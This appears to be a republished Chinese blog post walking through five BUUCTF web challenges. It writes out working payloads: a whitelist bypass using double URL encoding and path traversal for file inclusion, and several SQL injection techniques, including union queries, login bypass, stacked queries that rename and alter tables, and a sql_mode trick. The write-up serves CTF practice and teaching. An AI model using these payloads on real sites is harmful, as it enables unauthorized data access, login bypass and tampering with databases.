【buuctf】Web攻防(一)

admin 2025年4月9日00:32:25评论8 views字数 4960阅读16分32秒阅读模式

人生有梦,各自精彩

1.[HCTF 2018]WarmUp[HCTF 2018]WarmUp

访问url

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/

如下

【buuctf】Web攻防(一)

打开靶场后,查看源码即可看到<!--source.php-->

【buuctf】Web攻防(一)

构造url访问获得index.php的源码

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=source.php

如下

<?phphighlight_file(__FILE__);classemmm    {publicstaticfunctioncheckFile(&$page//传入了变量page,也就是我们刚刚传进来的file        {// 这里定义了白名单$whitelist= ["source"=>"source.php","hint"=>"hint.php"];if (!isset($page||!is_string($page)) {/*为了返回 true 两个条件必须满足1 page存在 2 page是字符串 ,这里和外层的判断file 一致基本是再次判断了一遍*/echo"you can't see it";returnfalse;            }if (in_array($page$whitelist)) {returntrue;            }/*in_array(search,array,type) 函数搜索数组中是否存在指定的值,白名单过滤,需要返回了ture所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/$_page=mb_substr$page,0,mb_strpos($page . '?',  '?')            );/*这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/if (in_array($_page$whitelist)) { returntrue;            }//这里和上面类似 查看_page 是否在白名单中$_page=urldecode($page); // 这里发现对_page进行了一次decode解码,$_page=mb_substr(//获取两个??之间的内容$_page,0,mb_strpos($_page . '?''?')            );// 这里是我们要绕过的点,从这里往上看 尝试构造if (in_array($_page$whitelist)) {//白名单returntrue;            }echo"you can't see it";returnfalse;        }    }if (!empty($_REQUEST['file'])&&is_string($_REQUEST['file'])&&emmm::checkFile($_REQUEST['file'])    ) {include$_REQUEST['file'];exit;    } else {echo"<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";    }/*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 1 REQUEST['file']不为空 2 REQUEST['file']是字符串 3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/?>可以看到函数代码中有四个if语句第一个if语句对变量进行检验,要求$page为字符串,否则返回false第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true若以上四个if语句均未返回值,则返回false有三个if语句可以返回true,第二个语句直接判断$page,不可用第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f',构造url:file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg

从代码中发现新的页面hint访问

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=hint.php

获得flag文件名

【buuctf】Web攻防(一)

构造payload,ffffllllaaaagggg提示每个字符都重复了4下,提示我们往上级目录翻四层

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=source.php?/../../../../ffffllllaaaagggg

得到flag{9cae45aa-4163-4c5a-b223-75baa14f4cc4}

【buuctf】Web攻防(一)

2.[极客大挑战 2019]EasySQL

访问url

http://126a7b32-9f28-4b4c-ac00-73741dcc8ade.node3.buuoj.cn/

如下

【buuctf】Web攻防(一)

第一种方法,看到登录框想到SQL注入,构造payload

?username=1'&password=2'

密码框存在注入

【buuctf】Web攻防(一)

构造payload

?username=1&password=2'%23

正常回显

【buuctf】Web攻防(一)

构造payload

?username=1&password=2' order by 3%23

判断字段数为3

【buuctf】Web攻防(一)

构造payload

?username=1&password=2' and 1=2 union select 1,2,3%23

判断回显点,得到flag{82270ed5-107f-454b-b1ea-a452245b07a6}

【buuctf】Web攻防(一)

第二种方法,因为登录成功就可以拿到flag,由上一道解法知道是字符型注入

构造payload

?username=admin' or '1'='1&password=admin' or '1'='1

得到flag{82270ed5-107f-454b-b1ea-a452245b07a6}

【buuctf】Web攻防(一)

3.[强网杯 2019]随便注

访问url

http://9de6c06a-5267-431c-b404-99bf365ea17d.node3.buuoj.cn/

页面如下

【buuctf】Web攻防(一)

重命名+堆叠注入

0x01:判断是否存在注入,注入是字符型还是数字型

输入1'发现不回显

输入1' #显示正常

应该是存在sql注入了

输入1' or '1'='1,正常回显,应该是字符型

【buuctf】Web攻防(一)

0x02:猜解SQL查询语句中的字段数

输入1' order by 3 # 回显出错,说明有两个字段

【buuctf】Web攻防(一)

0x03:显示字段

输入1′ union select 1,2 # 回显一个正则过滤规则

【buuctf】Web攻防(一)

过滤了 select,update,delete,drop,insert,where 和 点

过滤了这么多词,是不是有堆叠注入?尝试堆叠注入

0x04:查询数据库

输入1';show databases;# 成功回显

【buuctf】Web攻防(一)

说明存在堆叠注入

0x05:查询表

输入1';show tables;# 成功回显

【buuctf】Web攻防(一)

得到两个表words和1919810931114514

0x06:查询表中字段

输入0';desc words;# 

【buuctf】Web攻防(一)

可以看到1919810931114514中有我们想要的flag字段

查询语句很有可能是 : selsect id,data from words where id =

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id

0';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) 1' or 1=1#CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

如下

【buuctf】Web攻防(一)

输入1' or 1=1#,查询就得到flag{0a7b0405-0946-4894-837c-0ea64a5a1a1e}

【buuctf】Web攻防(一)

4.[极客大挑战 2019]Havefun

访问url

http://2b9bca63-f8a6-49a3-8e46-291d9581747c.node3.buuoj.cn/

首页如下

【buuctf】Web攻防(一)

右键查看网页源代码

【buuctf】Web攻防(一)

这是一段PHP代码,我们以GET方式传入cat,直接输出cat的值,如果cat的值为dog则将直接输出Syc{cat_cat_cat_cat},构造payload

http://2b9bca63-f8a6-49a3-8e46-291d9581747c.node3.buuoj.cn/?cat=dog

得到flag{8d0db0b2-663a-4d65-bb2a-ea16376802da}

【buuctf】Web攻防(一)

5.[SUCTF 2019]EasySQL

访问url

http://79340959-f795-4406-bd12-ec50c42ff14c.node3.buuoj.cn/

首页如下

【buuctf】Web攻防(一)

堆叠注入

1;show databases; 

【buuctf】Web攻防(一)

1;show tables;  

【buuctf】Web攻防(一)

查列名发现from进入了黑名单,经查,背后逻辑是

select $_POST[query] || flag from flag

如何判断结构是这样?因为在输入任意字符后输出结果都为Array ( [0] => 1 ),那这个1肯定是或运算产生的布尔值,所有此处一定有或运算。

解法1

1;set sql_mode=PIPES_AS_CONCAT;select 1,构造成select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag FROM Flag,其中PIPES_AS_CONCAT能将||视为字符串连接符而非或运算符,实际运行为select 1;set sql_mode=PIPES_AS_CONCAT;select "1"+flag from Flag

【buuctf】Web攻防(一)

得到flag{d1158419-a015-4de7-9908-ff25678cca3a}

解法2

*,1,构造成select *,1 || flag from flag

【buuctf】Web攻防(一)

攻防交流群

【buuctf】Web攻防(一)

声明

免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(儒道易行):【buuctf】Web攻防(一)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月9日00:32:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【buuctf】Web攻防(一)https://cn-sec.com/archives/3932156.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息